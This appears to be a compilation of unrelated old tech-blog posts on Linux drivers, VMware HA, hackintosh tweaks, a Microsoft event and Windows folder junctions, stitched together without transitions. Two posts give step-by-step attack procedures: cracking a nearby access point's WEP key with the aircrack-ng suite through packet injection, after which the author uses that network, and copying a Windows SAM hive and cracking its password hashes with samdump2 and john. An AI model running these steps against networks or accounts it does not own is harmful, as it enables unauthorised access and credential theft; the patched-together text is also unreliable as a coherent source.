Enabling HA gave the error:
“Cannot complete the configuration of HA agent on the host. See the task for details for addional information. ”

Without much details I was almost ready to blame it on ESX4i. However after checking everything I found out that my DNS servers settings were wrong.

Changing my DNS to the right IPs and HA configuration worked like a charm.

Obviously my sticky keys did not help but of course stressed out the reminder that HA relies on DNS heavily.

To install the madwifi drivers for your atheros on Fedora 7 do the following:

gedit /etc/yum.repos.d/atrpms.repo

and type

[atrpms]
name=Fedora Core $releasever – $basearch – ATrpms
baseurl=http://dl.atrpms.net/f$releasever-$basearch/atrpms/stable
gpgkey=http://ATrpms.net/RPM-GPG-KEY.atrpms
gpgcheck=1

and click on SAVE , also root import the gpg key from the terminal:

rpm –import http://atrpms.net/RPM-GPG-KEY.atrpms

then just use YUM to install everything you need!

yum install madwifi

You will get something like this:

[root@localhost ~]# yum install madwifi
Loading “installonlyn” plugin
Setting up Install Process
Parsing package install arguments
atrpms 100% |=========================| 951 B 00:00
primary.xml.gz 100% |=========================| 224 kB 00:00
atrpms : ################################################## 1240/1240
Resolving Dependencies
–> Running transaction check
—> Package madwifi.i386 1:0.9.4-38_r2512.fc7 set to be updated
–> Processing Dependency: madwifi-kmdl-1:0.9.4-38_r2512.fc7 for package: madwifi
–> Restarting Dependency Resolution with new changes.
–> Running transaction check
—> Package madwifi.i386 1:0.9.4-38_r2512.fc7 set to be updated…

I needed to find the key I lost.

How could I connect without knowing any of those WEP or WAP keys?

I suddently remember that I always have in my laptop CD pockets a very handy CD: backtrack 2. It is very convenient live CD that helps you solve a lot of nice things. It also have tools to scan wifi!

My ubuntu distro install did not have any of those tools installed so here I go, I reboot and run this live CD.

First you need to enable the monitor mode on your interface:

#airmon-ng start ath0

then just try to run a airodump to scan around

#airodump-ng ath0 out 0

If you get the wifi around you it means you are ready to play.

Once you see an AP with a decent power (closer to you), use aireplay to inject packets

#aireplay-ng -1 0 -e Target_ID -a MACoftheAP -h Your_MAC ath0

It will sending authentication requests and you should eventually get this:

Association successful

This means you are associated with the AP and ready to replay IVS.

you may want to run this association every X sec so you do not lose the AP connection.

This command will reassociate you every 20 secondes:

#aireplay-ng -1 20 -e Target_ID -a MACoftheAP -h Your_MAC ath0

So once associated, send packets as following. If you are not associated you see no send packet:

#aireplay-ng -3 -b MacoftheAP -h Your_MAC -x 600 ath0

You must also start airodump to capture replies, capture only the IVS to save space on the target channel:

#airodump-ng -w out –ivs –channel X ath0

aireplay will read:

Read 12345 packets (got 123 APR requests), sent 12345 packets…

You have to key sending until you get a lot of IVS (check airodump). If it stops sending, try reassociating with the AP.

Once you have a lot of IVS, you can start running aircrack. Just run it from another console as it can read the output file as it updates.

#aircrack-ng -x -0 out.ivs

When you see a “key found” message you are ready to get some network-internet connection.

Just enter:

#iwconfig ath0 mode Managed key XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX
#dhcpcd ath0

then a little ifconfig will confirm you are connect and able to get an ip from the AP. Voila! I was able to check what I needed and then go away.

Change dir to your Windows mount point:
# cd /mnt/hda2/WINDOWS/system32/config
Copy the SAM and the system Registry hive to the temp dir:
# cp SAM /tmp
# cp system /tmp
Prepare our wordlist:
# cd /pentest/password/dictionaries/
# gunzip -c wordlist.txt.Z > /tmp/words.txt
# cd /tmp

As the Windows hashes (in the SAM file) are encrypted, we need this key (called bootkey) to decrypt the SAM hashes:
# bkhive system key
Now we can dump the password hashes out of the SAM file:
# samdump2 SAM key > /tmp/hashes.txt

Lets crack those hashes… the easiest way would be, if the password is in the wordlist, we use john for this case:
# john -w=words.txt -f=NT hashes.txt
No luck? Lets use the brute force method:
# john –incremental:all -f=NT hashes.txt

If this takes too long you could use ophcrack. This tool uses rainbow tables and should crack your hashes in a few seconds, but you need to download those rainbow tables (350mb or 700mb or you can generate them yourself) which are not included on the Backtrack cd (for a obvious reason…). Or you can use the oph online cracker, which should be quite fast.

However, in Ubuntu Amarok has no mp3 support. This seems not to be installed automatically and needs to be done manually.

No worries, this is easy when you know where to look.

Amarok will freeze when you try to play any mp3 if you do not do this.

First, close any Amarok instance.

Go to /usr/lib/amarok, where you will find an install-mp3 file

Just run it. and voila! restart Amarok and there you are.

Oh I was talking about Amarok 1.4 .6 on Feisty.

So far I really like it. I have not tried all the things I used to do with my XP SP2. So far I just can miss my Densha de go simulation game but still think it might work with Wine.

I wanted to play for Xvid videos I had and BAAAM the player says, there is no codec installed for this, would you like to go search and install, clicked YES and the videos plays. It is really pleasant. really.

Today I want to try Beryl. This video really made me think about it.

Please make sure your card is supported for accelerated graphics. In a terminal type:

glxinfo | grep direct

If you get this output back, your card should work:

Direct rendering: Yes

If you get a “no” from this test, please install the correct driver.

To install the driver, use the Feisty’s RestrictedDriversManager to install the Graphics card drivers. I like Feisty for that, every thing is easy.

Installing Beryl is as easy. Make sure you have multiverse [Repositories] enabled (Its on by default) and install using:

sudo apt-get install beryl beryl-manager emerald-themes

To run beryl, launch using the excecute windows (Alt+F2 then Enter)

beryl-manager

You may want to add Beryl to your start up if you really like it.

Add beryl-manager to the list of startup programs, by going to System -> Preferences -> Sessions, and under the tab Startup Programs and clicking New. Enter for both Name and Command arguments beryl-manager.

Misc: If you’re still having issues visit the Ubuntu Wiki

After installing the OS you will get a working T60 with no sound, a lousy resolution and no wireless. Let’s review one after another.

Sound

1) Delete AppleHDA.kext:

* In Terminal, type: sudo rm -rf /System/Library/Extensions/AppleHDA.kext
* sudo rm -rf /System/Library/Extensions.mkext
* sudo rm -rf /System/Library/Extensions.kext

2) Edit AppleAzaliaAudio.kext:

* In Terminal, type: sudo pico /System/Library/Extensions/AppleAzaliaAudio.kext/Contents/Info.plist
* Search for (use hotkey= ctrl + w):
IOHDAudioCodecVendorID
* change the string to:
0x10ec0882
* Exit pico
* sudo pico /System/Library/Extensions/AppleAzaliaAudio.kext/Contents/PlugIns/AppleAzaliaController.kext/Contents/Info.plist
* Search for (use hotkey= ctrl + w):
IOPCIPrimaryMatch
* change the string to:
0x27d88086
* Exit pico

3) Clean up the system:

* In Terminal, type: sudo kextload /System/Library/Extensions/AppleAzaliaAudio.kext
* kextcache -k /System/Library/Extensions/

4) Then, reboot and enjoy sound out of two channels.

Video

1) Open the file:
/System/Library/Extensions/ATIRadeonX1000.kext/Contents/Info.plist

2) and find the line “IOPCIMatch”. Modify the next line to say: “0×71091002 0x71C41002 0x71C01002″

3) Open the file “/Library/Preferences/SystemConfiguration/com.apple.Boot.plist”

4) after the lines:
“Boot Graphics
Yes”

add the lines:"Graphics Mode
1400x1050x32"

Wireless

The 200762U has the ThinkPad 11a/b/g Wireless LAN Mini-PCI Express Adapter (lenovo.com part #: 40Y7026) which is compatible with OSx

1) You must download the Apple 10.4.5 intel upgrade available here

2) You must also download a program called Pacifist available here
3) Install Pacifist and double click on the apple upgrade to mount it.

4) Next, open up pacifist and browse to the file inside the mounted image called “MacOSXUpd10.4.5Intel.pkg”.

5) After it opens, click “find” and search for “IO80211Family.kext”. Drag that file into the folder: “/System/Library/Extensions/” replacing any pre-existing files.

6) Delete the files “/System/Library/Extensions.kextcache” and “/System/Library/Extensions.mkext”

And reboot! Alternatively you may want to check if your wireless worked before rebooting.

7) open the disk utility (/Application/Utilities/Disk Utility), then repair permissions on your Startup volume (may take a little while)

open up terminal, and switch to root (enter sudo -s, enter your user password)

cd /System/Library/Extensions
chmod -R 755 IO80211family.kext
chown -R root:wheel IO80211family.kext

then list the contents

ls -l

make sure the IO80211Family line looks like this:

drwxr-xr-x   3 root  wheel  102 Feb  2  2006 IO80211Family.kext

check that the permissions propagated to subdirectories:

cd IO80211Family.kext/contents/plugins
ls -l

should look like this:

total 0
drwxr-xr-x   3 root  wheel  102 Feb  2  2006 AirPortAtheros5424.kext
drwxr-xr-x   3 root  wheel  102 Feb  2  2006 AppleAirPortBrcm4311.kext

then test that the extensions works:

kextload AirPortAtheros5424.kext

should give a extension loaded successfully message

then you have to go to System Preferences>Network
a message should pop up telling you you have a new AirPort. from the Show: box, pick AirPort. you can set the options here, i suggest you check the Show airport status in menu bar, make sure you click apply now.

There you have it, fully working native Atheros card!

To do now is to get the BlueTooth working…

Waiting for the presentation to begin, I have to say that MSFT is not really big on goodies:a notepad and a pen, this is lame.

Well I hope this tour will be more interesting than a those ridiculous accessories… Today we have Rick and Rodney both from IT pro advisor. Blue MS Tech shirt and white pants.

We start off with a spoof of 24h…ITU a funny show of a IT unit with a lousy boss and stupids interns in the server room.

Then a kind of boring presentation about Tech resource and other technet links.

Windows Server 2003 R2 is the big update in this presentation has it really is focused on central management for multiple sites offices. Especially when they promote the Branch Office Infrastructure Solution paper, describing a lot of solutions topologies and examples, centralized or distributed management seems easy, I have not checked this document yet, but I will not fail to do so.

During the past hours, I have been learning a lot about DFS and RDS. It seems to be really the improvement point for R2, as they have mainly improved those points.

I was expecting to see about MOM, but nothing so far. But meanwhile, handing in the survey had mysefl giving some beta stuff- office 2007, W2k3 R2 eval, Vista RC1 preview and a full copy of Virtual server 2005 (even tho R2 includes 4 virtual server licenses)

By the end we had an overview of what I wanted to see: MOM. Well it is not that impressive. It looks like a boosted mmc with better filtering and a new task panel associated to object you click on. Apparently features for an apps (DFS, RFS, Exchange) must be purchased separately. they have not been through the licensing but i guess this is a rip off. The only nice since is that with the help of a good KB, you can set different behavior to solve an error or warning event. It looks like an automation for event viewer.

Well it was good to seen those products live. DPM sounds very good with continuous backup on files, it is too bad the you cannot for now backup the backed up files. DFS looks even better now than the mmc as been improved but only for W2K3 R2. Also ISA 2006 adds a lot of centralized management capabilities, but I have not used ISA for a long time now as SBS is not in my sight anymore because of different scale I deal with.

While I test everything and imagine what can be used out of this, you can go on their blog here: http://blogs.technet.com/canitpro/
and here http://www.microsoft.com/canada/technet/iotour06/thanks/

Windows throws a fit when its system partition nears capacity; it’s prudent to use a separate partition for application installations and user data. Here’s how I move these directories under Windows manually.

This technique makes use of NTFS junctions, which are a bit like cross-linked files you may have encountered back in the day with DOS… only junctions are cross-linked on purpose! This is also similar to UNIX soft links in that you are creating a second access path to a single directory. Because Windows takes locks on some files in the Program Files and user profile directory trees, we need to use safe mode and two different administrative accounts to pull this off. Safe mode lets us work with Program Files. The logged-on-user can’t manipulate its own files, but you can use two different admin accounts to copy the whole user profiles directory in two passes.

You may also want to check what Microsoft recommends for this matter. You could even go user based.
You could just do a search and replace in the registry to avoid the junctions and also create a GPO but I’d come back with that later on as we’ll need to create .adm file for this purpose, but this is less error-prone and frees you from worrying about whether an installer will insist on going to your C: drive.

1. Install the linkd utility from the Windows 2000 Pro Resource Kit (It isn’t available with the no-cost download of W2K resource kit tools, but I’ll bet the linkd provided with the no-cost download Windows Server 2003 Resource Kit Tools is the same thing anyway). Alternatively, try Junction from Sysinternals.
2. Make sure you have at least two local users with membership in the local Administrators group. You will need to be able to login as both of these users. For clarity, I’ll call these admin1 and admin2, but you can pick whatever names you like.
3. Make sure that you’ve logged in at least once as each of these users. This will ensure that Windows has created a profile for them. Determine the path to each administrator’s profile. You need to know the directory names under C:\Documents and Settings\ that correspond to each account. If you fail to create a profile before you continue with this procedure, Windows will create the profile while you’re in command-prompt-only-safemode. In that case, it does something a little different and the result will be that it will create a new profile for the user if you try to login after this procedure. That wouldn’t be a disaster, but you would probably want to clean up the abandoned profile and the new/permanent profile would have a funny name like “numbertwo.copland” if your computer is named copland. I’ll assume that these directories are called C:\Documents and Settings\admin1 and C:\Documents and Settings\admin2 so that I can refer to them easily later.
4. Boot into safe mode, command prompt only. Login with an administrative account (admin1).
5. C:\>xcopy /s /e /h /r /k /o /x "Program Files" "D:\Program Files"
6. C:\>xcopy /s /e /h /r /k /o /x "Documents and Settings" "D:\Documents and Settings" � this will result in an error message about file sharing or locking or so.
7. ctrl-alt-del to access the security menu and log out.
8. login as the other administrator (admin2)
9. C:\>xcopy /s /e /h /r /k /o /x /c /y "Documents and Settings" "D:\Documents and Settings"
10. C:\>rd /s "Program Files"
11. C:\>"D:\Program Files\Resource Pro Kit\linkd.exe" "Program Files" "D:\Program Files"
12. C:\>rd /s "Documents and Settings" � this will produce an error about file sharing or locking or so.
13. C:\>cd "Documents and Settings"
14. C:\Documents and Settings>linkd "admin1" "D:\Documents and Settings\admin1"
15. ctrl-alt-del to access the security menu and logout
16. login as admin1
17. C:\>rd /s "Documents and Settings"
18. C:\>linkd "Documents and Settings" "D:\Documents and Settings"
19. ctrl-alt-del to access the security menu and restart into Windows.

• Options | Command History | Buffer Size | 500
• Options | Command History | Discard Old Duplicates | True
• Options | Edit Options | QuickEdit Mode | True
• Layout | Screen buffer size | Height | 999
• Layout | Window size | Height | 50

You can use one of the following:

4NT by JPSoft is pretty interesting but still a bit expensive $70

http://msmvps.com/blogs/coad/archive/2005/02/19/36473.aspx

CMDNow seems pretty intersting (I am testing this one), it allow you to do “stuff” on opened windows.

http://www.commandline.co.uk/cmdow/

NYAOS seems also a good try

http://www.nyaos.org/index.html

You may also want to try Nomad aka Windows PowerShell RC1 by Microsoft the new script shell for windows systems